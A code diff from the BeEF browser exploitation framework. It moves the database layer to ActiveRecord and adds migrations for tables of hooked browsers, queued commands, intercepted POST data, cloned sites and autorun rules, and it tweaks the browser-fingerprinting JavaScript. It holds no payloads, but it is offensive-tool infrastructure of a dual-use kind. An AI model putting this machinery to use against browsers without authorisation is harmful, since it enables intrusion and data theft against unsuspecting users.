-# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
+# Copyright (c) 2006-2021 Wade Alcorn - wade@bindshell.net
 # Browser Exploitation Framework (BeEF) - http://beefproject.com
 # See the file 'doc/COPYING' for copying permission
 #

core/filters/base.rb

@@ -1,5 +1,5 @@
 #
-# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
+# Copyright (c) 2006-2021 Wade Alcorn - wade@bindshell.net
 # Browser Exploitation Framework (BeEF) - http://beefproject.com
 # See the file 'doc/COPYING' for copying permission
 #

core/filters/browser.rb

@@ -1,5 +1,5 @@
 #
-# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
+# Copyright (c) 2006-2021 Wade Alcorn - wade@bindshell.net
 # Browser Exploitation Framework (BeEF) - http://beefproject.com
 # See the file 'doc/COPYING' for copying permission
 #

core/filters/command.rb

@@ -1,5 +1,5 @@
 #
-# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
+# Copyright (c) 2006-2021 Wade Alcorn - wade@bindshell.net
 # Browser Exploitation Framework (BeEF) - http://beefproject.com
 # See the file 'doc/COPYING' for copying permission
 #

core/filters/http.rb

@@ -1,5 +1,5 @@
 #
-# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
+# Copyright (c) 2006-2021 Wade Alcorn - wade@bindshell.net
 # Browser Exploitation Framework (BeEF) - http://beefproject.com
 # See the file 'doc/COPYING' for copying permission
 #

core/filters/page.rb

@@ -1,5 +1,5 @@
 #
-# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
+# Copyright (c) 2006-2021 Wade Alcorn - wade@bindshell.net
 # Browser Exploitation Framework (BeEF) - http://beefproject.com
 # See the file 'doc/COPYING' for copying permission
 #

core/hbmanager.rb

@@ -1,5 +1,5 @@
 #
-# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
+# Copyright (c) 2006-2021 Wade Alcorn - wade@bindshell.net
 # Browser Exploitation Framework (BeEF) - http://beefproject.com
 # See the file 'doc/COPYING' for copying permission
 #
@@ -10,14 +10,14 @@ module BeEF
     # @param [String] sid hooked browser session id string
     # @return [BeEF::Core::Models::HookedBrowser] returns the associated Hooked Browser
     def self.get_by_session(sid)
-      BeEF::Core::Models::HookedBrowser.first(:session => sid)
+      BeEF::Core::Models::HookedBrowser.where(:session => sid).first
     end
 
     # Get hooked browser by id
     # @param [Integer] id hooked browser database id
     # @return [BeEF::Core::Models::HookedBrowser] returns the associated Hooked Browser
     def self.get_by_id(id)
-      BeEF::Core::Models::HookedBrowser.first(:id => id)
+      BeEF::Core::Models::HookedBrowser.find(id)
     end
 
   end

core/loader.rb

@@ -1,5 +1,5 @@
 #
-# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
+# Copyright (c) 2006-2021 Wade Alcorn - wade@bindshell.net
 # Browser Exploitation Framework (BeEF) - http://beefproject.com
 # See the file 'doc/COPYING' for copying permission
 #
@@ -31,8 +31,7 @@ require 'execjs'
 require 'ansi'
 require 'term/ansicolor'
 require 'json'
-require 'data_objects'
-require 'dm-do-adapter'
+require 'otr-activerecord'
 require 'parseconfig'
 require 'erubis'
 require 'mime/types'
@@ -41,7 +40,6 @@ require 'resolv'
 require 'digest'
 require 'zip'
 require 'logger'
-
 # @note Logger
 require 'core/logger'
 

core/logger.rb

@@ -1,5 +1,5 @@
 #
-# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
+# Copyright (c) 2006-2021 Wade Alcorn - wade@bindshell.net
 # Browser Exploitation Framework (BeEF) - http://beefproject.com
 # See the file 'doc/COPYING' for copying permission
 #

core/main/ar-migrations/001_create_command_modules.rb

@@ -0,0 +1,12 @@
+class CreateCommandModules < ActiveRecord::Migration[6.0]
+
+	def change
+
+		create_table :command_modules do |t|
+			t.text :name
+			t.text :path
+		end
+
+	end
+
+end

core/main/ar-migrations/002_create_hooked_browsers.rb

@@ -0,0 +1,19 @@
+class CreateHookedBrowsers < ActiveRecord::Migration[6.0]
+
+	def change
+
+		create_table :hooked_browsers do |t|
+            t.text :session
+			t.text :ip
+			t.text :firstseen
+			t.text :lastseen
+			t.text :httpheaders
+			t.text :domain
+			t.integer :port
+			t.integer :count
+			t.boolean :is_proxy
+		end
+
+	end
+
+end

core/main/ar-migrations/003_create_logs.rb

@@ -0,0 +1,14 @@
+class CreateLogs < ActiveRecord::Migration[6.0]
+
+	def change
+
+		create_table :logs do |t|
+			t.text :logtype
+			t.text :event
+			t.datetime :date
+			t.references :hooked_browser
+		end
+
+	end
+
+end

core/main/ar-migrations/004_create_commands.rb

@@ -0,0 +1,16 @@
+class CreateCommands < ActiveRecord::Migration[6.0]
+
+	def change
+
+		create_table :commands do |t|
+            t.references :command_module
+            t.references :hooked_browser
+			t.text :data
+			t.datetime :creationdate
+			t.text :label
+			t.boolean :instructions_sent, default: false
+		end
+
+	end
+
+end

core/main/ar-migrations/005_create_results.rb

@@ -0,0 +1,15 @@
+class CreateResults < ActiveRecord::Migration[6.0]
+
+	def change
+
+		create_table :results do |t|
+            t.references :command
+            t.references :hooked_browser
+			t.datetime :date
+			t.integer :status
+            t.text :data
+		end
+
+	end
+
+end

core/main/ar-migrations/006_create_option_caches.rb

@@ -0,0 +1,12 @@
+class CreateOptionCaches < ActiveRecord::Migration[6.0]
+
+	def change
+
+		create_table :option_caches do |t|
+			t.text :name
+			t.text :value
+		end
+
+	end
+
+end

core/main/ar-migrations/007_create_browser_details.rb

@@ -0,0 +1,13 @@
+class CreateBrowserDetails < ActiveRecord::Migration[6.0]
+
+	def change
+
+		create_table :browser_details do |t|
+			t.text :session_id
+			t.text :detail_key
+			t.text :detail_value
+		end
+
+	end
+
+end

core/main/ar-migrations/008_create_executions.rb

@@ -0,0 +1,18 @@
+class CreateExecutions < ActiveRecord::Migration[6.0]
+
+	def change
+
+		create_table :executions do |t|
+            t.text :session_id
+			t.integer :mod_count
+			t.integer :mod_successful
+			t.text :mod_body
+			t.text :exec_time
+			t.text :rule_token
+			t.boolean :is_sent
+			t.integer :rule_id
+		end
+
+	end
+
+end

core/main/ar-migrations/009_create_rules.rb

@@ -0,0 +1,20 @@
+class CreateRules < ActiveRecord::Migration[6.0]
+
+	def change
+
+		create_table :rules do |t|
+			t.text :name
+			t.text :author
+			t.text :browser
+			t.text :browser_version
+			t.text :os
+			t.text :os_version
+			t.text :modules
+			t.text :execution_order
+			t.text :execution_delay
+			t.text :chain_mode
+		end
+
+	end
+
+end

core/main/ar-migrations/010_create_interceptor.rb

@@ -0,0 +1,12 @@
+class CreateInterceptor < ActiveRecord::Migration[6.0]
+
+	def change
+
+		create_table :interceptors do |t|
+            t.text :ip
+            t.text :post_data
+		end
+
+	end
+
+end

core/main/ar-migrations/011_create_web_cloner.rb

@@ -0,0 +1,12 @@
+class CreateWebCloner < ActiveRecord::Migration[6.0]
+
+	def change
+
+		create_table :web_cloners do |t|
+            t.text :uri
+            t.text :mount
+		end
+
+	end
+
+end

core/main/ar-migrations/012_create_mass_mailer.rb

@@ -0,0 +1,11 @@
+class CreateMassMailer < ActiveRecord::Migration[6.0]
+
+	def change
+
+		create_table :mass_mailers do |t|
+            #todo fields
+		end
+
+	end
+
+end

core/main/ar-migrations/013_create_network_host.rb

@@ -0,0 +1,17 @@
+class CreateNetworkHost < ActiveRecord::Migration[6.0]
+
+	def change
+
+		create_table :network_hosts do |t|
+            t.references :hooked_browser
+            t.text :ip
+            t.text :hostname
+            t.text :ntype
+            t.text :os
+            t.text :mac
+            t.text :lastseen
+		end
+
+	end
+
+end

core/main/ar-migrations/014_create_network_service.rb

@@ -0,0 +1,15 @@
+class CreateNetworkService < ActiveRecord::Migration[6.0]
+
+	def change
+
+		create_table :network_services do |t|
+            t.references :hooked_browser
+            t.text :proto
+            t.text :ip
+            t.text :port
+            t.text :ntype
+		end
+
+	end
+
+end

core/main/ar-migrations/015_create_http.rb

@@ -0,0 +1,44 @@
+class CreateHttp < ActiveRecord::Migration[6.0]
+
+	def change
+
+		create_table :https do |t|
+            t.text :hooked_browser_id
+            # The http request to perform. In clear text.
+            t.text :request
+            # Boolean value as string to say whether cross-domain requests are allowed
+            t.boolean :allow_cross_domain, :default => true
+            # The http response body received. In clear text.
+            t.text :response_data
+            # The http response code. Useful to handle cases like 404, 500, 302, ...
+            t.integer :response_status_code
+            # The http response code. Human-readable code: success, error, ecc..
+            t.text :response_status_text
+            # The port status. closed, open or not http
+            t.text :response_port_status
+            # The XHR Http response raw headers
+            t.text :response_headers
+            # The http response method. GET or POST.
+            t.text :method
+            # The content length for the request.
+            t.text :content_length, :default => 0
+            # The request protocol/scheme (http/https)
+            t.text :proto
+            # The domain on which perform the request.
+            t.text :domain
+            # The port on which perform the request.
+            t.text :port
+            # Boolean value to say if the request was cross-domain
+            t.text :has_ran, :default => "waiting"
+            # The path of the request.
+            # Example: /secret.html
+            t.text :path
+            # The date at which the http response has been saved.
+            t.datetime :response_date
+            # The date at which the http request has been saved.
+            t.datetime :request_date
+		end
+
+	end
+
+end

core/main/ar-migrations/016_create_rtc_status.rb

@@ -0,0 +1,13 @@
+class CreateRtcStatus < ActiveRecord::Migration[6.0]
+
+	def change
+
+		create_table :rtc_statuss do |t|
+            t.references :hooked_browser
+            t.integer :target_hooked_browser_id
+            t.text :status
+		end
+
+	end
+
+end

core/main/ar-migrations/017_create_rtc_manage.rb

@@ -0,0 +1,13 @@
+class CreateRtcManage < ActiveRecord::Migration[6.0]
+
+	def change
+
+		create_table :rtc_manages do |t|
+            t.references :hooked_browser
+            t.text :message
+            t.text :has_sent, default: "waiting"
+		end
+
+	end
+
+end

core/main/ar-migrations/018_create_rtc_signal.rb

@@ -0,0 +1,14 @@
+class CreateRtcSignal < ActiveRecord::Migration[6.0]
+
+	def change
+
+		create_table :rtc_signals do |t|
+            t.references :hooked_browser
+            t.integer :target_hooked_browser_id
+            t.text :signal
+            t.text :has_sent, default: "waiting"
+		end
+
+	end
+
+end

core/main/ar-migrations/019_create_rtc_module_status.rb

@@ -0,0 +1,14 @@
+class CreateRtcModuleStatus < ActiveRecord::Migration[6.0]
+
+	def change
+
+		create_table :rtc_module_statuss do |t|
+            t.references :hooked_browser
+            t.references :command_module
+            t.integer :target_hooked_browser_id
+            t.text :status
+		end
+
+	end
+
+end

core/main/ar-migrations/020_create_xssrays_detail.rb

@@ -0,0 +1,14 @@
+class CreateXssraysDetail < ActiveRecord::Migration[6.0]
+
+	def change
+
+		create_table :xssraysdetails do |t|
+            t.references :hooked_browser
+            t.text :vector_name
+            t.text :vector_method
+            t.text :vector_poc
+		end
+
+	end
+
+end

core/main/ar-migrations/021_create_dns_rule.rb

@@ -0,0 +1,14 @@
+class CreateDnsRule < ActiveRecord::Migration[6.0]
+
+	def change
+
+		create_table :dns_rules do |t|
+          t.text :pattern
+          t.text :resource
+          t.text :response
+          t.text :callback
+		end
+
+	end
+
+end

core/main/ar-migrations/022_create_ipec_exploit.rb

@@ -0,0 +1,13 @@
+class CreateIpecExploit < ActiveRecord::Migration[6.0]
+
+	def change
+
+		create_table :ipec_exploits do |t|
+            t.text :name
+            t.text :protocol
+            t.text :os
+		end
+
+	end
+
+end

core/main/ar-migrations/023_create_ipec_exploit_run.rb

@@ -0,0 +1,13 @@
+class CreateIpecExploitRun < ActiveRecord::Migration[6.0]
+
+	def change
+
+		create_table :ipec_exploit_runs do |t|
+            t.boolean :launched
+            t.text :http_headers
+            t.text :junk_size
+		end
+
+	end
+
+end

core/main/ar-migrations/024_create_autoloader.rb

@@ -0,0 +1,12 @@
+class CreateAutoloader < ActiveRecord::Migration[6.0]
+
+	def change
+
+		create_table :autoloaders do |t|
+            t.references :command
+            t.boolean :in_use
+		end
+
+	end
+
+end

core/main/ar-migrations/025_create_xssrays_scan.rb

@@ -0,0 +1,18 @@
+class CreateXssraysScan < ActiveRecord::Migration[6.0]
+
+	def change
+
+		create_table :xssraysscans do |t|
+            t.references :hooked_browser
+            t.datetime :scan_start
+            t.datetime :scan_finish
+            t.text :domain
+            t.text :cross_domain
+            t.integer :clean_timeout
+            t.boolean :is_started
+            t.boolean :is_finished
+		end
+
+	end
+
+end

core/main/autorun_engine/engine.rb

@@ -1,5 +1,5 @@
 #
-# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
+# Copyright (c) 2006-2021 Wade Alcorn - wade@bindshell.net
 # Browser Exploitation Framework (BeEF) - http://beefproject.com
 # See the file 'doc/COPYING' for copying permission
 #
@@ -41,7 +41,7 @@ module BeEF
           hb_session = hb.session
 
           rule_ids.each do |rule_id|
-            rule = BeEF::Core::AutorunEngine::Models::Rule.get(rule_id)
+            rule = BeEF::Core::Models::Rule.find(rule_id)
             modules = JSON.parse(rule.modules)
 
             execution_order = JSON.parse(rule.execution_order)
@@ -57,7 +57,7 @@ module BeEF
             rule_token = SecureRandom.hex(5)
 
             modules.each do |cmd_mod|
-              mod = BeEF::Core::Models::CommandModule.first(:name => cmd_mod['name'])
+              mod = BeEF::Core::Models::CommandModule.where(:name => cmd_mod['name']).first
               options = []
               replace_input = false
               cmd_mod['options'].each do|k,v|
@@ -85,16 +85,16 @@ module BeEF
                 # TODO catch error, which should never happen as values are checked way before ;-)
             end
 
-            are_exec = BeEF::Core::AutorunEngine::Models::Execution.new(
-                :session => hb_session,
+            are_exec = BeEF::Core::Models::Execution.new(
+                :session_id => hb_session,
                 :mod_count => modules.length,
                 :mod_successful => 0,
                 :rule_token => rule_token,
                 :mod_body => wrapper,
                 :is_sent => false,
-                :rule_id => rule_id
+                :id => rule_id
             )
-            are_exec.save
+            are_exec.save!
             # Once Engine.check() verified that the hooked browser match a Rule, trigger the Rule ;-)
             print_more "Triggering ruleset #{rule_ids.to_s} on HB #{hb_id}"
           end
@@ -272,9 +272,9 @@ module BeEF
                 :creationdate => Time.new.to_i,
                 :instructions_sent => true
             )
-            command.save
+            command.save!
 
-            command_module = BeEF::Core::Models::CommandModule.first(:id => mod.id)
+            command_module = BeEF::Core::Models::CommandModule.find(mod.id)
             if (command_module.path.match(/^Dynamic/))
               # metasploit and similar integrations
               command_module = BeEF::Modules::Commands.const_get(command_module.path.split('/').last.capitalize).new
@@ -385,9 +385,9 @@ module BeEF
         def match(browser, browser_version, os, os_version, rule_id=nil)
           match_rules = []
           if rule_id != nil
-            rules = [BeEF::Core::AutorunEngine::Models::Rule.get(rule_id)]
+            rules = [BeEF::Core::Models::Rule.find(rule_id)]
           else
-            rules = BeEF::Core::AutorunEngine::Models::Rule.all()
+            rules = BeEF::Core::Models::Rule.all
           end
           return nil if rules == nil
           return nil unless rules.length > 0

core/main/autorun_engine/models/execution.rb

@@ -1,31 +0,0 @@
-#
-# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
-# Browser Exploitation Framework (BeEF) - http://beefproject.com
-# See the file 'doc/COPYING' for copying permission
-#
-
-module BeEF
-  module Core
-    module AutorunEngine
-      module Models
-        # @note Stored info about the execution of the ARE on hooked browsers.
-        class Execution
-
-          include DataMapper::Resource
-
-          storage_names[:default] = 'core_areexecution'
-
-          property :id, Serial
-          property :session, Text                         # hooked browser session where a ruleset triggered
-          property :mod_count, Integer                    # number of command modules of the ruleset
-          property :mod_successful, Integer               # number of command modules that returned with success
-          # By default Text is only 65K, so field length increased to 1 MB
-          property :mod_body, Text,    :length => 1024000 # entire command module(s) body to be sent
-          property :exec_time, String, :length => 15      # timestamp of ruleset triggering
-          property :rule_token, String, :length => 10     # unique token to be appended to wrapper function names
-          property :is_sent, Boolean
-        end
-      end
-    end
-  end
-end

core/main/autorun_engine/models/rule.rb

@@ -1,34 +0,0 @@
-#
-# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
-# Browser Exploitation Framework (BeEF) - http://beefproject.com
-# See the file 'doc/COPYING' for copying permission
-#
-
-module BeEF
-  module Core
-    module AutorunEngine
-      module Models
-        # @note Table stores the rules for the Distributed Engine.
-        class Rule
-          include DataMapper::Resource
-
-          storage_names[:default] = 'core_arerules'
-
-          property :id, Serial
-          property :name, Text                                       # rule name
-          property :author, String                                   # rule author
-          property :browser, String, :length => 10                   # browser name
-          property :browser_version, String, :length => 15           # browser version
-          property :os, String, :length => 10                        # OS name
-          property :os_version, String, :length => 15                # OS version
-          property :modules, Text                                    # JSON stringyfied representation of the JSON rule for further parsing
-          property :execution_order, Text                            # command module execution order
-          property :execution_delay, Text                            # command module time delays
-          property :chain_mode, String, :length => 40                 # rule chaining mode
-
-          has n, :executions
-        end
-      end
-    end
-  end
-end

core/main/autorun_engine/parser.rb

@@ -1,5 +1,5 @@
 #
-# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
+# Copyright (c) 2006-2021 Wade Alcorn - wade@bindshell.net
 # Browser Exploitation Framework (BeEF) - http://beefproject.com
 # See the file 'doc/COPYING' for copying permission
 #
@@ -53,7 +53,7 @@ module BeEF
 
             # check if module names, conditions and options are ok
             modules.each do |cmd_mod|
-              mod = BeEF::Core::Models::CommandModule.first(:name => cmd_mod['name'])
+              mod = BeEF::Core::Models::CommandModule.where(:name => cmd_mod['name']).first
               if mod != nil
                 modk = BeEF::Module.get_key_by_database_id(mod.id)
                 mod_options = BeEF::Module.get_options(modk)

core/main/autorun_engine/rule_loader.rb

@@ -1,5 +1,5 @@
 #
-# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
+# Copyright (c) 2006-2021 Wade Alcorn - wade@bindshell.net
 # Browser Exploitation Framework (BeEF) - http://beefproject.com
 # See the file 'doc/COPYING' for copying permission
 #
@@ -52,7 +52,7 @@ module BeEF
                 print_more "Exec order: #{exec_order}"
                 print_more "Exec delay: #{exec_delay}"
               end
-              are_rule = BeEF::Core::AutorunEngine::Models::Rule.new(
+              are_rule = BeEF::Core::Models::Rule.new(
                   :name => name,
                   :author => author,
                   :browser => browser,

core/main/client/are.js

@@ -1,16 +1,39 @@
 //
-// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
+// Copyright (c) 2006-2021 Wade Alcorn - wade@bindshell.net
 // Browser Exploitation Framework (BeEF) - http://beefproject.com
 // See the file 'doc/COPYING' for copying permission
 //
 
+/** 
+ * A series of functions that handle statuses, returns a number based on the function called.
+ * @namespace beef.are
+ */
+
 beef.are = {
+  /**
+   * A function for handling a success status
+   * @memberof beef.are
+   * @method status_success 
+   * @return {number} 1
+   */
   status_success: function(){
     return 1;
   },
+  /**
+   * A function for handling an unknown status
+   * @memberof beef.are
+   * @method status_unknown 
+   * @return {number} 0
+   */  
   status_unknown: function(){
     return 0;
   },
+  /**
+   * A function for handling an error status
+   * @memberof beef.are
+   * @method status_error 
+   * @return {number} -1
+   */  
   status_error: function(){
     return -1;
   }

core/main/client/beef.js

@@ -1,5 +1,5 @@
 //
-// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
+// Copyright (c) 2006-2021 Wade Alcorn - wade@bindshell.net
 // Browser Exploitation Framework (BeEF) - http://beefproject.com
 // See the file 'doc/COPYING' for copying permission
 //
@@ -13,23 +13,24 @@ $j = jQuery.noConflict();
 
 if(typeof beef === 'undefined' && typeof window.beef === 'undefined') {
 
+    /**
+     * Register the BeEF JS on the window object.
+     * @namespace {Object} BeefJS 
+     * @property {string} version BeEf Version
+     * @property {boolean} pageIsLoaded This gets set to true during window.onload(). It's a useful hack when messing with document.write().
+     * @property {array} onpopstate An array containing functions to be executed by the window.onpopstate() method.
+     * @property {array} onclose An array containing functions to be executed by the window.onclose() method.
+     * @property {array} commands An array containing functions to be executed by Beef.
+     * @property {array} components An array containing all the BeEF JS components.
+     */
+
     var BeefJS = {
-
+        
         version: '<%= @beef_version %>',
-
-        // This get set to true during window.onload(). It's a useful hack when messing with document.write().
         pageIsLoaded: false,
-
-        // An array containing functions to be executed by the window.onpopstate() method.
         onpopstate: new Array(),
-
-        // An array containing functions to be executed by the window.onclose() method.
         onclose: new Array(),
-
-        // An array containing functions to be executed by Beef.
         commands: new Array(),
-
-        // An array containing all the BeEF JS components.
         components: new Array(),
 
         /**
@@ -37,8 +38,8 @@ if(typeof beef === 'undefined' && typeof window.beef === 'undefined') {
          * @param: {string} the debug string to return
          */
         debug: function(msg) {
-            if (!<%= @client_debug %>) return;
-            if (typeof console == "object" && typeof console.log == "function") {
+            isDebug = '<%= @client_debug %>'
+            if (typeof console == "object" && typeof console.log == "function" && isDebug.localeCompare("true")) {
                 var currentdate = new Date();
                 var pad = function(n){return ("0" + n).slice(-2);}
                 var datetime = currentdate.getFullYear() + "-"

core/main/client/browser.js

@@ -1,16 +1,23 @@
 //
-// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
+// Copyright (c) 2006-2021 Wade Alcorn - wade@bindshell.net
 // Browser Exploitation Framework (BeEF) - http://beefproject.com
 // See the file 'doc/COPYING' for copying permission
 //
 
 /**
- * @literal object: beef.browser
- *
  * Basic browser functions.
+ * @namespace beef.browser
  */
 beef.browser = {
 
+    /**
+     * Returns the protocol.
+     * @example: beef.browser.getProtocol()
+     */
+    getProtocol: function() {
+        return document.location.protocol;
+    },
+
     /**
      * Returns the user agent that the browser is claiming to be.
      * @example: beef.browser.getBrowserReportedName()
@@ -110,7 +117,7 @@ beef.browser = {
      * @example: beef.browser.isIE10()
      */
     isIE10: function () {
-        return !!window.XMLHttpRequest && !window.chrome && !window.opera && !!document.documentMode && !window.XDomainRequest && !!window.performance && typeof navigator.msMaxTouchPoints !== "undefined";
+        return !!window.XMLHttpRequest && !window.chrome && !window.opera && !!document.documentMode && !!window.XDomainRequest && !!window.performance && typeof navigator.msMaxTouchPoints !== "undefined";
     },
 
     /**
@@ -128,7 +135,7 @@ beef.browser = {
      * @example: beef.browser.isEdge()
      */
     isEdge: function () {
-        return !beef.browser.isIE() && !!window.StyleMedia;
+        return !beef.browser.isIE() && !!window.styleMedia && (/Edg\/\d+\.\d/.test(window.navigator.userAgent) || /Edge\/\d+\.\d/.test(window.navigator.userAgent));
     },
 
     /**
@@ -856,7 +863,7 @@ beef.browser = {
      * @example: beef.browser.isFF89()
      */
     isFF89: function () {
-        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/89./) != null;
+        return !!window.devicePixelRatio && !!window.history.replaceState && (this.getProtocol() == "https:" ? typeof navigator.mozGetUserMedia != "undefined" : true) && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/89./) != null;
     },
 
     /**
@@ -864,7 +871,7 @@ beef.browser = {
      * @example: beef.browser.isFF90()
      */
     isFF90: function () {
-        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/90./) != null;
+        return !!window.devicePixelRatio && !!window.history.replaceState && (this.getProtocol() == "https:" ? typeof navigator.mozGetUserMedia != "undefined" : true) && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/90./) != null;
     },
 
     /**
@@ -872,7 +879,7 @@ beef.browser = {
      * @example: beef.browser.isFF91()
      */
     isFF91: function () {
-        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/91./) != null;
+        return !!window.devicePixelRatio && !!window.history.replaceState && (this.getProtocol() == "https:" ? typeof navigator.mozGetUserMedia != "undefined" : true) && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/91./) != null;
     },
 
     /**
@@ -880,7 +887,7 @@ beef.browser = {
      * @example: beef.browser.isFF92()
      */
     isFF92: function () {
-        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/92./) != null;
+        return !!window.devicePixelRatio && !!window.history.replaceState && (this.getProtocol() == "https:" ? typeof navigator.mozGetUserMedia != "undefined" : true) && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/92./) != null;
     },
 
     /**
@@ -888,7 +895,7 @@ beef.browser = {
      * @example: beef.browser.isFF93()
      */
     isFF93: function () {
-        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/93./) != null;
+        return !!window.devicePixelRatio && !!window.history.replaceState && (this.getProtocol() == "https:" ? typeof navigator.mozGetUserMedia != "undefined" : true) && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/93./) != null;
     },
 
     /**
@@ -896,7 +903,7 @@ beef.browser = {
      * @example: beef.browser.isFF94()
      */
     isFF94: function () {
-        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/94./) != null;
+        return !!window.devicePixelRatio && !!window.history.replaceState && (this.getProtocol() == "https:" ? typeof navigator.mozGetUserMedia != "undefined" : true) && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/94./) != null;
     },
 
     /**
@@ -904,7 +911,7 @@ beef.browser = {
      * @example: beef.browser.isFF95()
      */
     isFF95: function () {
-        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/95./) != null;
+        return !!window.devicePixelRatio && !!window.history.replaceState && (this.getProtocol() == "https:" ? typeof navigator.mozGetUserMedia != "undefined" : true) && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/95./) != null;
     },
 
     /**
@@ -912,7 +919,7 @@ beef.browser = {
      * @example: beef.browser.isFF96()
      */
     isFF96: function () {
-        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/96./) != null;
+        return !!window.devicePixelRatio && !!window.history.replaceState && (this.getProtocol() == "https:" ? typeof navigator.mozGetUserMedia != "undefined" : true) && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/96./) != null;
     },
 
     /**
@@ -920,7 +927,7 @@ beef.browser = {
      * @example: beef.browser.isFF97()
      */
     isFF97: function () {
-        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/97./) != null;
+        return !!window.devicePixelRatio && !!window.history.replaceState && (this.getProtocol() == "https:" ? typeof navigator.mozGetUserMedia != "undefined" : true) && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/97./) != null;
     },
 
     /**
@@ -928,7 +935,7 @@ beef.browser = {
      * @example: beef.browser.isFF98()
      */
     isFF98: function () {
